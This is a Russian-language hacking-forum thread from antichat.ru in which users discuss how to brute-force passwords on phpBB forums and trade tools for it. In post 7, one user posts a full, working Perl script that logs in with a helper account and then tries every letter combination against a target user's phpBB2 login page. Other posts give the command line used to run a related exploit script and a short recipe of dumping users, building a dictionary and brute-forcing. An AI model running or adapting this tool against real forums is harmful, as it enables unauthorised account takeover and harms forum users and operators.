phpbb bruteforcer

Discussion in 'Песочница' started by Rainbow, 20 Jun 2008.

  1. Rainbow

    Rainbow Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    53
    Likes Received:
    337
    Reputations:
    163
    xmm

    xmm
     
    #1 Rainbow, 20 Jun 2008
    Last edited: 6 Apr 2009
  2. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    конечно существуетюзай поиск сдесь K1borg писал
    вот ссылко
    http://forum.antichat.ru/showpost.php?p=474307&postcount=7
    ЗЫ и впредь ЮЗЬ поиск
     
    #2 satana8920, 20 Jun 2008
    Last edited: 20 Jun 2008
  3. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    здрасте приехали это все таки брутер а не миксер блин
     
    1 person likes this.
  4. Olehoff

    Olehoff New Member

    Joined:
    4 Jun 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Да мне тоже интерестно как?=)
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    выдрать - собрать словарь - пробрутить.
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    тоже попробовал - давно юзаю этот .pl, но именно с брутом непонятки - зарегился на форуме, сделал в той же папке, где и phpbb.pl файл pass.txt, в нем ТОЛЬКО один мой пароль (правильный), запускаю, начинается брут, НО РЕЗУЛЬТАТЫ никуда не сохраняются и в процессе работы ничего не показывается (т.е. в других режимах все пишется в log.txt - а в режиме брута вообще трудно понять, делается ли что-нибудь в принципе, и если есть ошибки - то какие. Запускаю так (чтобы все видно было):

    cmd /k C:\Perl\bin\wperl.exe C:\Perl\bin\Sploits\phpbb.pl -v3 -uhttp://forum/index.php -lVassia -fpass.txt

    т.е. брут не работает, или где?:) Версия форума 2.020

    Инфо о форуме включая серверный путь успешно выдрал. При сканировании неподдерживаемых версий форума скрипт в лог все-равно пишет "ну не могу я поломать". А тут тишина.
     
  7. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Code:
    #!/usr/bin/perl
    
    use IO::Socket;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use Time::HiRes qw(gettimeofday);
    
    $host = $ARGV[0];
    $usern = $ARGV[1];
    $passw = $ARGV[2];
    $uname = $ARGV[3];
    $url = "http://".$host;
    $alpha = "abcdefghijklmnopqrstuvwxyz"; #charset
    $charcount = 24; #number of chars in $alpha
    $dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
    $count = 0;
    $logins = 0;
    $minchars = 1; #min chars
    $maxchars = 10; #max chars
    
    print q(
    ###########################################################
    #                 phpBB2 brute forcer                     #
    #              http://www.unnamedone.com                  #
    #               [email protected]                   #
    #                  12 - April - 2008                      #
    ################## Coded By UnnamedOne ####################
    );
    
    if (@ARGV < 4)
    {
       print " #  I am not responsible for anything that you do with this!\n";
       print " #  This has been tested on phpBB2!\n";
       print " #  usage : phpbb2.pl [host & path] [user] [pass] [target]\n";
       print " #  E.g : phpbb2.pl www.milw0rm.com/phpBB2/ UnnamedOne MyPass str0ke\n";
       exit();
    }
    
    fakelogin();
    for(my $t=$minchars;$t<=$maxchars;$t++)
    {
       crack($t);
    }
    
    sub fakelogin
    {
       $xplr = LWP::UserAgent->new() or die;
       $cookie_jarr = HTTP::Cookies->new();
       $xplr->cookie_jar( $cookie_jarr );
       $resr = $xplr->post($url.'login.php',
       Content => [
       "username"   => "$usern",
       "password"   => "$passw",
       "login"      => "Log in",
       "newregister"   => "Register",
       ],);
       if($cookie_jarr->as_string =~ /%22%3B%7D/) {
          #Do nothing..
       }
       else
       {
          print $cookie_jarr->as_string;
          print "Forum not vulnerable or wrong username / password.\n";
          exit();
       }
    }
    
    sub crack
    {
       $xpl = LWP::UserAgent->new() or die;
       $cookie_jar = HTTP::Cookies->new();
       $CharSet = shift;
       @RawString = ();
       for (my $i =0;$i<$CharSet;$i++)
       {
          $RawString[i] = 0;
       }
       $Start = gettimeofday();
       do {
          for (my $i =0;$i<$CharSet;$i++) {
             if ($RawString[$i] > length($alpha)-1) {
                if ($i==$CharSet-1)
                {
                   $cnt = 0;
                   return false;
                }
                $RawString[$i+1]++;
                $RawString[$i]=0;
             }
          }
          $ret = "";
          for (my $i =0;$i<$CharSet;$i++) {
             $ret = $ret . substr($alpha,$RawString[$i],1);
          }
          $count++;
          if($count == 4) {
             #fakelogin();
             $count = 0;
          }
          $xpl->cookie_jar( $cookie_jar );
          $res = $xpl->post($url.'login.php',
          Content => [
          "username"   => "$uname",
          "password"   => "$ret",
          "login"      => "Log in",
          "newregister"   => "Register",
          ],);
          $cnt++;
          $Stop = gettimeofday();
          if ($Stop-$Start>$dbgtmr) {
             $cnt = int($cnt/$dbgtmr);
             $Start = gettimeofday();
          }
          $logins++;
          system("clear");
          $pro = ($logins / ($charcount * $maxchars));
          print "Current password: $ret\n";
          print "Login attempts: $logins\n";
          print "Cracking speed: $cnt passwords/sec\n";
          print "$pro% finished.\n";
          $cnt = 0;
          if($cookie_jar->as_string =~ /%22%3B%7D/) {
             print "Password cracked! => $ret\n";
             exit();
          }
          $RawString[0]++;
       }while($RawString[$CharSet-1]<length($alpha));
    }
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Если не трудно, как расшифровать эту строчку:

    usage : phpbb2.pl [host & path] [user] [pass] [target]\n

    В принципе понятно, только непонятно откуда что берется:)

    И особенно с target непонятно. Здесь вообще брут по словарю одного юзера или что?

    Запускаю - ноль эмоций, ни сообщений об ошибке, ничего вообще

    Я понимаю, что пример есть:

    E.g : phpbb2.pl www.milw0rm.com/phpBB2/ UnnamedOne MyPass str0ke\n

    что такое в данном случае UnnamedOne, MyPass и str0ke\n???

    Имя юзера какого-то, какой-то мой Пароль и строка какая-то:)
     
    #8 Pashkela, 1 Jul 2008
    Last edited: 1 Jul 2008
  9. cadam

    cadam New Member

    Joined:
    9 Feb 2008
    Messages:
    5
    Likes Received:
    2
    Reputations:
    0
    брут хорошо работает, а вот врубил -v1 , и что вот это значит DEBUG: forum_id: [54]
    DEBUG: topic_id: [15068]